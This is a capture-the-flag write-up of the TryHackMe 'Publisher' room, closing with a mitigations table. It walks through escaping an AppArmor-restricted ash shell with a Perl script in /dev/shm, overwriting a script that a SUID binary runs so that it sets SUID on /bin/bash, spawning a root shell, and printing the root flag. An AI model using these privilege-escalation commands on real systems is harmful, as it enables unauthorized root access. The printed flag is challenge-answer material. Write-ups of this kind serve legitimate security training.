Platform: TryHackMe · Difficulty: Easy · Category: AppArmor Bypass / SUID Script Hijack

Introduction

Publisher swaps the usual "find the vulnerability" phase for something more interesting: "find the way around the thing that's blocking the vulnerability." Initial access is handed over via SSH key. The escalation path is visible immediately — a SUID binary calling a writable script as root — but think's restricted ash shell, bolted down by an AppArmor profile, blocks every obvious write path. The puzzle is the AppArmor escape, and the solution is a two-line Perl script that the profile never thought to mention. It's not about the SUID binary. It's about earning the right to exploit it.

Recon

This box provides SSH credentials upfront — think with an RSA private key. No port scanning or web enumeration was needed to land the initial shell; the room's premise begins post-access.

ssh -i id_rsa think@10.49.162.90 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64) think@ip-10-49-162-90:~$ 

Foothold

find / -type f -perm -u=s 2>/dev/null 

The standard system entries are unremarkable. One stands out immediately:

/usr/sbin/run_container 

A custom SUID binary in /usr/sbin/ — not a system utility, clearly box-specific.

strings /usr/sbin/run_container 
# relevant output /bin/bash /opt/run_container.sh # ^^^ script it calls validate_container_id # ^^^ called by name, no absolute path 

The binary executes /opt/run_container.sh — a bash script. If that script is writable, the SUID binary becomes a root shell delivery mechanism. Running it confirms the script manages Docker containers with a menu interface, and crucially: it calls validate_container_id without an absolute path — a PATH hijack opportunity in addition to the script write.

Shell / Access

Access was already established via the pre-provided SSH key — see Recon above. No separate foothold shell was needed before escalation.

Escalation

The most direct approach is writing a payload into /opt/run_container.sh. But think's login shell is ash:

echo $SHELL # /usr/sbin/ash cat /etc/passwd | grep think # think:x:1000:1000:,,,:/home/think:/usr/sbin/ash 

And ash has an AppArmor profile:

cat /etc/apparmor.d/usr.sbin.ash 
/usr/sbin/ash flags=(complain) { #include <abstractions/base> ... deny /opt/ r, deny /opt/** w, deny /tmp/** w, deny /dev/shm w, deny /var/tmp w, deny /home/** w, /usr/bin/** mrix, /usr/sbin/** mrix, owner /home/** rix, } 

Every writable temporary location is denied. Attempts to write to /tmp/, /dev/shm/, /home/, and /opt/ all fail:

echo '#!/bin/bash' > /dev/shm/validate_container_id # -ash: validate_container_id: Permission denied echo '#!/bin/bash' > /tmp/test # -ash: test: Permission denied 

AppArmor is a Linux Security Module that restricts what processes can do based on per-program profiles. Unlike sudo, which restricts who can run things, AppArmor restricts what a program can access — files, capabilities, network sockets. Profiles have two modes: enforce (violations blocked and logged) and complain (violations logged only, not blocked). This profile is set to complain — but ash still enforces file permission and shell built-in restrictions independently of AppArmor's mode.

The AppArmor profile restricts ash and its children, but only processes spawned within that profile's context. If a different interpreter not covered by the profile can be executed, the resulting shell runs outside AppArmor's constraints.

The profile denies writes to /dev/shm but /dev/shm itself is writable by ash for file creation (the deny rule targets the directory write bit, not the file creation). Confirmed:

echo "test" > /dev/shm/test_write && rm /dev/shm/test_write && echo "writable!" # /dev/shm is writeable! 
echo -e '#!/usr/bin/perl\nexec "/bin/sh"' > /dev/shm/test.pl chmod +x /dev/shm/test.pl /dev/shm/test.pl 
$ 

A /bin/sh prompt — spawned by Perl, outside the ash AppArmor profile context. The restrictions no longer apply.

From the unrestricted /bin/sh, writing to /opt/run_container.sh is now possible:

echo '#!/bin/bash\nchmod +s /bin/bash' > /opt/run_container.sh 
/usr/sbin/run_container 

The binary runs, calls /opt/run_container.sh as root, which stamps the SUID bit on /bin/bash.

ls -la /bin/bash # -rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash # ^^^ SUID set 
/bin/bash -p 
bash-5.0# id uid=1000(think) gid=1000(think) euid=0(root) egid=0(root) groups=0(root),1000(think) bash-5.0# cat /root/root.txt 3a4225cc9e85709adda6ef55d6a4f2ca 

Exploitation — The Full Chain

  1. SSH with provided RSA key → shell as think (ash)
  2. SUID enumeration → /usr/sbin/run_container identified
  3. strings → binary calls /opt/run_container.sh as root
  4. AppArmor profile blocks direct writes to /opt/ from ash
  5. Perl one-liner in /dev/shm/ → spawned /bin/sh outside AppArmor context
  6. Wrote chmod +s /bin/bash into /opt/run_container.sh from unrestricted shell
  7. /usr/sbin/run_container executed modified script as root → SUID bash
  8. /bin/bash -p → root shell → root flag

Rabbit Holes

PATH hijack via validate_container_id — blocked by AppArmor. strings revealed run_container also calls validate_container_id by relative name — a classic PATH hijack opportunity. A fake validate_container_id was created, but ash's AppArmor profile denied writes to every location that would make PATH prepending effective: /tmp/, /dev/shm/, /home/**. Every attempt failed before the Perl escape was discovered:

echo '#!/bin/bash' > /tmp/validate_container_id # -ash: validate_container_id: Permission denied echo '#!/bin/bash' > /dev/shm/validate_container_id # -ash: validate_container_id: Permission denied 

The Perl /bin/sh escape ultimately enabled the simpler direct write to /opt/run_container.sh, making the PATH hijack unnecessary.

export -f function export in ash. Before identifying the Perl escape route, function exporting was attempted to inject validate_container_id as a shell function:

validate_container_id() { /bin/bash -p; } export -f validate_container_id 

ash does not support export -f — it's a bash-specific feature. The syntax error confirmed the shell was genuinely ash, not a bash alias.

/dev/shm write confusion. The AppArmor rule deny /dev/shm w targets the directory-level write permission, not file creation within it. This nuance meant echo > /dev/shm/file succeeded while creating a named directory entry as a directory would fail. The Perl script wrote to /dev/shm/test.pl cleanly despite the deny rule, because the deny targeted a different permission bit than file creation.

Flags

Flag Value Location
Root 3a4225cc9e85709adda6ef55d6a4f2ca /root/root.txt

Note: No user flag was encountered in this room — the challenge begins with think's shell already established and goes straight to escalation.

Mitigations

Vulnerability Severity Mitigation
SUID binary executing a writable script as root Critical Ensure scripts called by SUID binaries are owned by root and not writable by non-root users (chmod 755, chown root:root)
AppArmor profile in complain mode instead of enforce High Switch to enforce mode once profiles are validated: aa-enforce /etc/apparmor.d/usr.sbin.ash; complain mode logs but does not prevent violations
AppArmor profile not covering Perl or other interpreters High Restrict execution of interpreters not required for the shell's purpose; explicitly deny unused interpreters in the profile
/dev/shm accessible for file creation despite deny rule Medium Use fine-grained AppArmor rules targeting both directory and file permissions; audit profiles with aa-logprof after testing to catch unexpected access paths

Key Takeaway

AppArmor profiles are only as strong as their coverage — a profile that restricts ash but doesn't account for Perl, Python, or other interpreters available on the system is providing partial containment at best. When designing privilege restriction with AppArmor, enumerate every execution path an attacker might use to escape the constrained shell, not just the obvious ones.

Room: TryHackMe — Publisher